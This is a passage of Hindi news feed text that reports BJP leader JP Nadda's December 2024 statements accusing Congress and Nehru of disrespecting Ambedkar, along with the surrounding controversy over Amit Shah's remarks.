प्रधानमंत्री मोदी के नेतृत्व में अनुच्छेद 370 को समाप्त किया गया, 35ए को समाप्त किया गया। कांग्रेस पार्टी बाबा साहेब के बारे में सिर्फ बातें करती है लेकिन प्रधानमंत्री मोदी ने बाबा साहेब की जयंती 14 अप्रैल को राष्ट्रीय समरसता दिवस घोषित किया। उनकी स्मृति में स्मारक बनाकर समाज में उनका सम्मान बढ़ाया, वहीं कांग्रेस ने तो उन्हें भारत रत्न तक देने से मना कर दिया था।

जेपी नड्डा ने आगे कहा कि बाबा साहेब की जन्मभूमि महू हो, शिक्षा भूमि लंदन हो, दीक्षा भूमि नागपुर हो, चैत्य भूमि मुंबई हो या फिर दिल्ली, जहां उन्होंने अपना अंतिम समय व्यतीत किया था, उन स्थानों को तीर्थ स्थान बनाने का काम भी पीएम मोदी ने किया है। जबकि कांग्रेस ने हमेशा बाबा साहेब का अपमान किया। कांग्रेस ने बाबा साहेब को चुनाव तक हरवाने का काम किया और उन्हें भारत रत्न देना भी उचित नहीं समझा, बाबा साहेब को भारत रत्न तब मिला, जब केंद्र में भाजपा समर्थित सरकार बनी। एक हफ्ते बाद हम 26 जनवरी को गणतंत्र दिवस मनाएंगे। इसके साथ ही संविधान गौरव यात्रा में सहभागिता करें और ये संदेश प्रसारित करें कि संविधान के साथ किसने छेड़छाड़ की थी।

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जेपी नड्डा ने कहा- नेहरू ने अंबेडकर से सिर्फ नफरत की, कांग्रेस को अब झूठ बोलना बंद करना चाहिए https://pratyushaashakinayikiran.com/?p=111683 Thu, 19 Dec 2024 21:55:00 +0000 https://pratyushaashakinayikiran.com/?p=111683 नई दिल्ली
भारतीय जनता पार्टी (भाजपा) के राष्ट्रीय अध्यक्ष और केंद्रीय मंत्री जेपी नड्डा ने गुरुवार को बाबासाहेब भीमराव अंबेडकर पर जारी राजनीति के बीच कांग्रेस पर पलटवार किया। उन्होंने सोशल मीडिया मंच एक्स पर कहा, "कल से, सत्य, लोकतंत्र और सामाजिक न्याय में विश्वास करने वाले सभी लोगों द्वारा कांग्रेस और उसके सड़े हुए इकोसिस्टम को बेनकाब किया गया है। इसलिए, मैंने डॉ. अम्बेडकर के प्रति कांग्रेस की गहरी नफरत को दर्शाने के लिए कुछ तथ्य साझा करने के बारे में सोचा।"

उन्होंने अपने सोशल मीडिया पोस्ट पर आगे कहा, “पंडित नेहरू डॉ. अम्बेडकर से नफरत करते थे। हां, यह विशुद्ध नफरत थी। इसीलिए पंडित नेहरू ने डॉ. अम्बेडकर को दो बार हराया। और, वह गर्व से विदेशों में लोगों को पत्र लिख रहे थे, इस बात पर खुशी व्यक्त कर रहे थे कि आदरणीय बाबासाहेब अब कैबिनेट में नहीं हैं।”

उन्होंने आगे कहा, “26, अलीपुर रोड को बहुत पहले ही एक भव्य स्मारक में बदल दिया जाना चाहिए था जो लोगों को प्रेरित करता। लेकिन, डॉ. अंबेडकर से नफरत करने वाली कांग्रेस ने कुछ नहीं किया। यह हमारी एनडीए सरकार थी जिसे 26, अलीपुर रोड को एक प्रतिष्ठित स्थान के रूप में विकसित करने का सम्मान मिला। मुंबई में चैत्य भूमि… दशकों तक कांग्रेस में सामाजिक न्याय के स्वयंभू संरक्षकों ने वहां एक भव्य स्मारक बनाने के खोखले वादे किए। 2015 में, हमने सुनिश्चित किया कि भूमि हस्तांतरण किया जाए। ये नरेंद्र मोदी ही हैं, जिन्होंने हाल के वर्षों में वहां दो बार प्रार्थना की।”

नड्डा ने सैम पित्रोदा की तस्वीर साझा करते हुए कहा, “राजवंश के सबसे वफादार दरबारी ने बताया कि कांग्रेस वास्तव में डॉ. अम्बेडकर के बारे में क्या सोचती है, कि हमारे संविधान के निर्माण में बाबासाहेब की कोई भूमिका नहीं थी। कुछ स्क्रीनशॉट वास्तव में हजारों शब्द बोलते हैं। एक्स पोस्ट को हटाया जा सकता है लेकिन उनकी वास्तविक भावनाएं कभी नहीं जाएंगी।”

उन्होंने आगे अपने पोस्ट में कहा, “15, जनपथ पर डॉ. अंबेडकर की स्मृति में एक विश्व स्तरीय केंद्र बनाया जाना था। दुख की बात है कि कांग्रेस उस सड़क पर एक घर से आगे नहीं देख सकती थी, इसलिए उन्होंने यह काम अधूरा छोड़ दिया। आख़िरकार 2017 में डॉ. अंबेडकर इंटरनेशनल सेंटर का उद्घाटन पीएम मोदी ने किया। कांग्रेस नेताओं को विदेशी धरती पर भारत के बारे में झूठ फैलाना पसंद है। लेकिन, उन्होंने लंदन में उस जगह की कभी परवाह नहीं की, जहां खुद डॉ. अंबेडकर रहते थे। पीएम नरेंद्र मोदी 2015 की यूके यात्रा के दौरान वहां गए, और बाद में इसे महाराष्ट्र सरकार द्वारा अधिग्रहित कर लिया गया।”

जेपी नड्डा ने कांग्रेस पर निशाना साधते हुए कहा, “मैं कांग्रेस और उनके सड़े हुए इको-सिस्टम को बताना चाहता हूं कि जून में आप लगातार तीसरी बार लोकसभा चुनाव हारे। इसके साथ ही आपने आंध्र प्रदेश, अरुणाचल प्रदेश, ओडिशा और सिक्किम में निराशाजनक प्रदर्शन किया। अक्टूबर में आप हरियाणा में हार गए। वहीं, नवंबर में आप महाराष्ट्र में बुरी तरह हारे। कम से कम अब तो झूठ बोलना बंद कर दीजिए, क्योंकि आपका झूठ अनियंत्रित नहीं होगा। सत्य की हमेशा जीत होगी… जय भीम।"

बता दें कि संविधान पर चर्चा के दौरान केंद्रीय गृह मंत्री अमित शाह ने कांग्रेस को आड़े हाथों लेते हुए कहा था कि अभी अंबेडकर, अंबेडकर , अंबेडकर का नाम लेना फैशन बन चुका है। अगर इन लोगों ने इतना भगवान का नाम लिया होता, तो अब इन्हें भगवान प्राप्त हो चुके होते।

इसी बयान को लेकर कांग्रेस सहित विपक्षी पार्टियां भाजपा और अमित शाह पर हमलावर हैं। कांग्रेस का आरोप है कि अमित शाह ने अपने इस बयान से भीमराव अंबेडकर का अपमान किया है, जिसे किसी भी कीमत पर स्वीकार नहीं किया जा सकता है।

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